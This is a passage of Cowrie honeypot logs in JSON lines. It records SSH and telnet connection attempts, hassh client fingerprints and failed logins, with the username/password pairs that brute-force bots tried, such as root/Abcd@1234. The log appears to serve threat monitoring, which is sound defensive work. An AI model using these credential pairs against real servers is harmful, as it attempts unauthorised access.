256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:57.370671Z","src_ip":"213.230.127.104","session":"b86f57455555","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:58.080464Z","src_ip":"213.230.127.104","session":"b86f57455555","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:28:59.258260Z","src_ip":"213.230.127.104","session":"b86f57455555","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":53430,"dst_ip":"10.17.0.5","dst_port":22,"session":"08d65c8cc092","protocol":"ssh","message":"New connection: 171.244.141.86:53430 (10.17.0.5:22) [session: 08d65c8cc092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:29:12.071816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:29:12.077669Z","src_ip":"171.244.141.86","session":"08d65c8cc092","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:29:12.367140Z","src_ip":"171.244.141.86","session":"08d65c8cc092","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"radware","message":"login attempt [root/radware] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:29:13.345849Z","src_ip":"171.244.141.86","session":"08d65c8cc092","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:29:14.587052Z","src_ip":"171.244.141.86","session":"08d65c8cc092","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.182.78","src_port":49948,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5c95867b033","protocol":"ssh","message":"New connection: 160.251.182.78:49948 (159.203.135.109:22) [session: c5c95867b033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:29:22.286406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:29:22.291192Z","src_ip":"160.251.182.78","session":"c5c95867b033","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:29:22.466531Z","src_ip":"160.251.182.78","session":"c5c95867b033","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suresh","password":"suresh","message":"login attempt [suresh/suresh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:29:23.199637Z","src_ip":"160.251.182.78","session":"c5c95867b033","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:29:24.375742Z","src_ip":"160.251.182.78","session":"c5c95867b033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.190.156.8","src_port":36132,"dst_ip":"10.17.0.5","dst_port":22,"session":"1df9c254aad1","protocol":"ssh","message":"New connection: 89.190.156.8:36132 (10.17.0.5:22) [session: 1df9c254aad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:29:40.031242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:29:40.037308Z","src_ip":"89.190.156.8","session":"1df9c254aad1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:29:40.120336Z","src_ip":"89.190.156.8","session":"1df9c254aad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"admin@123","message":"login attempt [frappe/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:29:40.476198Z","src_ip":"89.190.156.8","session":"1df9c254aad1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:29:41.560749Z","src_ip":"89.190.156.8","session":"1df9c254aad1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.107.156.227","src_port":57921,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4a25ae8342d","protocol":"ssh","message":"New connection: 222.107.156.227:57921 (10.17.0.5:22) [session: e4a25ae8342d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:00.903841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:00.908764Z","src_ip":"222.107.156.227","session":"e4a25ae8342d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:01.115074Z","src_ip":"222.107.156.227","session":"e4a25ae8342d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":44770,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d233db100c1","protocol":"ssh","message":"New connection: 20.203.42.204:44770 (10.17.0.5:22) [session: 2d233db100c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:01.826612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:01.831656Z","src_ip":"20.203.42.204","session":"2d233db100c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd@1234","message":"login attempt [root/Abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:01.957879Z","src_ip":"222.107.156.227","session":"e4a25ae8342d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:01.996992Z","src_ip":"20.203.42.204","session":"2d233db100c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root111","message":"login attempt [root/root111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:02.691799Z","src_ip":"20.203.42.204","session":"2d233db100c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:03.166731Z","src_ip":"222.107.156.227","session":"e4a25ae8342d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:03.862118Z","src_ip":"20.203.42.204","session":"2d233db100c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.246.14.196","src_port":37414,"dst_ip":"159.203.135.109","dst_port":22,"session":"388368e74d24","protocol":"ssh","message":"New connection: 186.246.14.196:37414 (159.203.135.109:22) [session: 388368e74d24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:07.542491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:07.548452Z","src_ip":"186.246.14.196","session":"388368e74d24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:07.739761Z","src_ip":"186.246.14.196","session":"388368e74d24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweQWE123!@#","message":"login attempt [root/qweQWE123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:08.442370Z","src_ip":"186.246.14.196","session":"388368e74d24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:09.627571Z","src_ip":"186.246.14.196","session":"388368e74d24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00249409675598,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:16.550606Z","src_ip":"186.55.200.230","session":"72b21d587e49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00292181968689,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:18.539188Z","src_ip":"186.55.200.230","session":"7ee3f85a4c01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":53306,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cbff48f170b","protocol":"telnet","message":"New connection: 186.55.200.230:53306 (159.203.135.109:23) [session: 3cbff48f170b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:18.847468Z"}
{"eventid":"cowrie.session.closed","duration":120.00337481498718,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:20.607787Z","src_ip":"186.55.200.230","session":"5f29cf31bd12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":6508,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce90b11fefed","protocol":"telnet","message":"New connection: 186.55.200.230:6508 (159.203.135.109:23) [session: ce90b11fefed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:20.916345Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.165.238.2","src_port":55132,"dst_ip":"10.17.0.5","dst_port":22,"session":"6beb5d7de0c0","protocol":"ssh","message":"New connection: 45.165.238.2:55132 (10.17.0.5:22) [session: 6beb5d7de0c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:21.304420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:21.320451Z","src_ip":"45.165.238.2","session":"6beb5d7de0c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:21.454231Z","src_ip":"45.165.238.2","session":"6beb5d7de0c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Salim123","message":"login attempt [root/Salim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:22.010459Z","src_ip":"45.165.238.2","session":"6beb5d7de0c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":53310,"dst_ip":"159.203.135.109","dst_port":23,"session":"73b640fff838","protocol":"telnet","message":"New connection: 186.55.200.230:53310 (159.203.135.109:23) [session: 73b640fff838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:23.007869Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:23.154527Z","src_ip":"45.165.238.2","session":"6beb5d7de0c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":60120,"dst_ip":"159.203.135.109","dst_port":22,"session":"a47b566a5615","protocol":"ssh","message":"New connection: 186.233.118.22:60120 (159.203.135.109:22) [session: a47b566a5615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:25.066951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:25.071117Z","src_ip":"186.233.118.22","session":"a47b566a5615","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 